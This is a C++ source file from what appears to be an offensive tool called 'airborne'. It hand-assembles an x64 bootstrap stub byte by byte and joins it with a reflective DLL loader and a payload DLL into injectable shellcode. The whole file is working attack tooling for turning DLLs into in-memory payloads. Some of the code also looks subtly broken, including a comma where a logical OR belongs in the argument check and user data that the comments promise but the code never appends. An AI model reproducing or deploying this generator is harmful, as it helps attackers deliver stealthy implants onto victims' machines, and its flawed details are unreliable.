airborne/generator/generator.cpp

#include <windows.h>
#include <getopt.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <cstdint>

#include "generator.hpp"
#include "../shared/crypto.hpp"

int main(int argc, char **argv)
{
    uint8_t flag = false;
    std::string loaderPath, payloadPath, funcName, funcParameter, outputPath;

    static struct option longOptions[] = {
        {"loader", required_argument, 0, 'l'},
        {"payload", required_argument, 0, 'p'},
        {"function", required_argument, 0, 'n'},
        {"parameter", required_argument, 0, 'a'},
        {"output", required_argument, 0, 'o'},
        {"flag", no_argument, 0, 'f'},
        {"help", no_argument, 0, 'h'},
        {0, 0, 0, 0}};

    auto optionIndex = 0;
    int c;

    while ((c = getopt_long(argc, argv, "l:p:n:a:o:fh", longOptions, &optionIndex)))
    {
        switch (c)
        {
        case 'l':
            loaderPath = optarg;
            break;
        case 'p':
            payloadPath = optarg;
            break;
        case 'n':
            funcName = optarg;
            break;
        case 'a':
            funcParameter = optarg;
            break;
        case 'o':
            outputPath = optarg;
            break;
        case 'f':
            flag = true;
            break;
        case 'h':
            PrintHelp(argv);
            return 0;
        default:
            PrintHelp(argv);
            return 1;
        }
    }

    if (loaderPath.empty() || payloadPath.empty() || funcName.empty() || funcParameter.empty(), outputPath.empty())
    {
        std::cout << "[!] Missing required arguments" << std::endl;
        PrintHelp(argv);
        return 1;
    }

    std::cout << "[+] Loader path: " << loaderPath << std::endl;
    std::cout << "[+] Payload path: " << payloadPath << std::endl;
    std::cout << "[+] Output path: " << outputPath << std::endl;

    LPBYTE loaderContents;
    DWORD loaderSize;

    if (!GetFileContents(loaderPath, &loaderContents, &loaderSize))
    {
        return 1;
    }

    LPBYTE payloadContents;
    DWORD payloadSize;

    if (!GetFileContents(payloadPath, &payloadContents, &payloadSize))
    {
        return 1;
    }

    // Compose the complete shellcode from loader, payload, and bootstrap

    std::vector<BYTE> bootstrap;
    DWORD bootstrapSize = BOOTSTRAP_LEN;
    DWORD funcParameterHash = CalculateHash(funcParameter);

    /*
        1.) Save the current location in memory for calculating offsets later
    */

    // Call the next instruction (push next instruction address to stack)
    bootstrap.push_back(0xe8);
    bootstrap.push_back(0x00);
    bootstrap.push_back(0x00);
    bootstrap.push_back(0x00);
    bootstrap.push_back(0x00);

    // pop rcx -> Pop the value saved on the stack into rcx to caputre our current location in memory
    bootstrap.push_back(0x59);

    // mov r8, rcx -> Copy the value of rcx into r8 before starting to modify rcx
    bootstrap.push_back(0x49);
    bootstrap.push_back(0x89);
    bootstrap.push_back(0xc8);

    /*
        2.) Align the stack and create shadow space
    */

    // push rsi -> Save the original value
    bootstrap.push_back(0x56);

    // mov rsi, rsp -> Stores the current stack pointer in rsi for later
    bootstrap.push_back(0x48);
    bootstrap.push_back(0x89);
    bootstrap.push_back(0xe6);

    // and rsp, 0xfffffffffffffff0 -> Align the stack to 16 bytes
    bootstrap.push_back(0x48);
    bootstrap.push_back(0x83);
    bootstrap.push_back(0xe4);
    bootstrap.push_back(0xf0);

    // sub rsp, 0x30 -> (48 bytes) Create shadow space on the stack (required for x64, minimum of 32 bytes required for rcx, rdx, r8, and r9)
    bootstrap.push_back(0x48);
    bootstrap.push_back(0x83);
    bootstrap.push_back(0xec);
    bootstrap.push_back(6 * 8); // 6 (args) * 8 (bytes)

    /*
        3.) Setup reflective loader parameters: Place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
    */

    // mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) -> (32 bytes) Push in the shellcode base address as the 5th argument
    bootstrap.push_back(0x48);
    bootstrap.push_back(0x89);
    bootstrap.push_back(0x4c);
    bootstrap.push_back(0x24);
    bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)

    // sub qword ptr [rsp + 0x20], 0x5 (shellcode base) -> Modify the 5th argument to point to the start of the real shellcode base address
    bootstrap.push_back(0x48);
    bootstrap.push_back(0x83);
    bootstrap.push_back(0x6c);
    bootstrap.push_back(0x24);
    bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
    bootstrap.push_back(5);     // Minus 5 bytes (because call 0x00 is 5 bytes to get the real shellcode base address)

    // mov dword ptr [rsp + 0x28], <flags> -> (40 bytes) Push in the flags as the 6th argument
    bootstrap.push_back(0xc7);
    bootstrap.push_back(0x44);
    bootstrap.push_back(0x24);
    bootstrap.push_back(5 * 8); // 5 (args) * 8 (bytes)
    bootstrap.push_back(flag);

    /*
        4.) Setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
    */

    // mov r9, <funcParameterSize> -> Copy the 4th parameter, the size of the function parameter, into r9
    bootstrap.push_back(0x41);
    bootstrap.push_back(0xb9);
    auto funcParameterSize = static_cast<DWORD>(funcParameter.size());
    bootstrap.push_back(static_cast<BYTE>(funcParameterSize));

    // add r8, <funcParameterOffset> + <payloadSize> -> Copy the 3rd parameter, the offset of the function parameter, into r8 and add the payload size
    bootstrap.push_back(0x49);
    bootstrap.push_back(0x81);
    bootstrap.push_back(0xc0);
    auto funcParameterOffset = (bootstrapSize - 5) + loaderSize + payloadSize;

    for (size_t i = 0; i < sizeof(funcParameterOffset); i++)
    {
        bootstrap.push_back(static_cast<BYTE>(funcParameterOffset >> (i * 8) & 0xff));
    }

    // mov edx, <funcParameterHash> -> Copy the 2nd parameter, the hash of the function parameter, into edx
    bootstrap.push_back(0xba);

    for (size_t i = 0; i < sizeof(funcParameterHash); i++)
    {
        bootstrap.push_back(static_cast<BYTE>(funcParameterHash >> (i * 8) & 0xff));
    }

    // add rcx, <payloadOffset> -> Copy the 1st parameter, the address of the payload, into rcx
    bootstrap.push_back(0x48);
    bootstrap.push_back(0x81);
    bootstrap.push_back(0xc1);
    auto payloadOffset = (bootstrapSize - 5) + loaderSize;

    for (size_t i = 0; i < sizeof(payloadOffset); i++)
    {
        bootstrap.push_back(static_cast<BYTE>(payloadOffset >> (i * 8) & 0xff));
    }

    /*
        5.) Call the reflective loader
    */

    // Call <reflectiveLoaderAddress> -> Call the reflective loader address
    bootstrap.push_back(0xe8);
    auto reflectiveLoaderAddress = (bootstrapSize - 5) + loaderSize;

    for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++)
    {
        bootstrap.push_back(static_cast<BYTE>(reflectiveLoaderAddress >> (i * 8) & 0xff));
    }

    // Add padding
    bootstrap.push_back(0x90);
    bootstrap.push_back(0x90);

    /*
        6.) Restore the stack and return to the original location (caller)
    */

    // mov rsp, rsi -> Restore the original stack pointer
    bootstrap.push_back(0x48);
    bootstrap.push_back(0x89);
    bootstrap.push_back(0xf4);

    // pop rsi -> Restore the original value
    bootstrap.push_back(0x5e);

    // ret -> Return to the original location
    bootstrap.push_back(0xc3);

    // Add padding
    bootstrap.push_back(0x90);
    bootstrap.push_back(0x90);

    if (bootstrap.size() != bootstrapSize)
    {
        std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << bootstrapSize << std::endl;
        return 1;
    }

    std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
    std::cout << "[+] Loader size: " << loaderSize << std::endl;
    std::cout << "[+] Payload size: " << payloadSize << std::endl;

    /*
        Form the complete shellcode with the following structure:
            - Bootstrap
            - RDI shellcode
            - Payload DLL bytes
            - User data
    */

    bootstrap.insert(bootstrap.end(), loaderContents, loaderContents + loaderSize);
    bootstrap.insert(bootstrap.end(), payloadContents, payloadContents + payloadSize);

    std::cout << "[+] Total shellcode size: " << bootstrap.size() << std::endl;

    if (!WriteFileContents(outputPath, bootstrap.data(), bootstrap.size()))
    {
        return 1;
    }

    auto srcUuid = GenerateUuid();
    std::cout << "[+] AES key derivation UUID: " << srcUuid << std::endl;

    std::cout << "[+]  " << std::endl;

    return 0;
}

BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize)
{
    std::ifstream infile(filePath, std::ios::binary | std::ios::ate);

    if (!infile)
    {
        std::cout << "[!] Failed to open file for reading: " << filePath << std::endl;
        return FALSE;
    }

    *fileSize = static_cast<DWORD>(infile.tellg());
    infile.seekg(0, std::ios::beg);

    *fileContents = new BYTE[*fileSize];
    infile.read(reinterpret_cast<char *>(*fileContents), *fileSize);
    infile.close();

    return TRUE;
}

BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize)
{
    std::ofstream outfile(filePath, std::ios::binary);

    if (!outfile)
    {
        std::cout << "[!] Failed to open file for writing: " << filePath << std::endl;
        return FALSE;
    }

    outfile.write(reinterpret_cast<char *>(fileContents), fileSize);

    if (!outfile.good())
    {
        std::cout << "[!] Failed to write the contents: " << filePath << std::endl;
        return FALSE;
    }

    outfile.close();

    return TRUE;
}

void PrintHelp(char **argv)
{
    std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
    std::cout << "\nArguments:" << std::endl;
    std::cout << "\t-l, --loader      Path to loader file" << std::endl;
    std::cout << "\t-p, --payload     Path to payload file" << std::endl;
    std::cout << "\t-n, --function    Function name to call inside payload" << std::endl;
    std::cout << "\t-a, --parameter   Function parameter to pass to the called function" << std::endl;
    std::cout << "\t-o, --output      Path to output file" << std::endl;
    std::cout << "\nOptions:" << std::endl;
    std::cout << "\t-f, --flag        Flag to enable debug mode" << std::endl;
    std::cout << "\t-h, --help        Print this help message" << std::endl;
}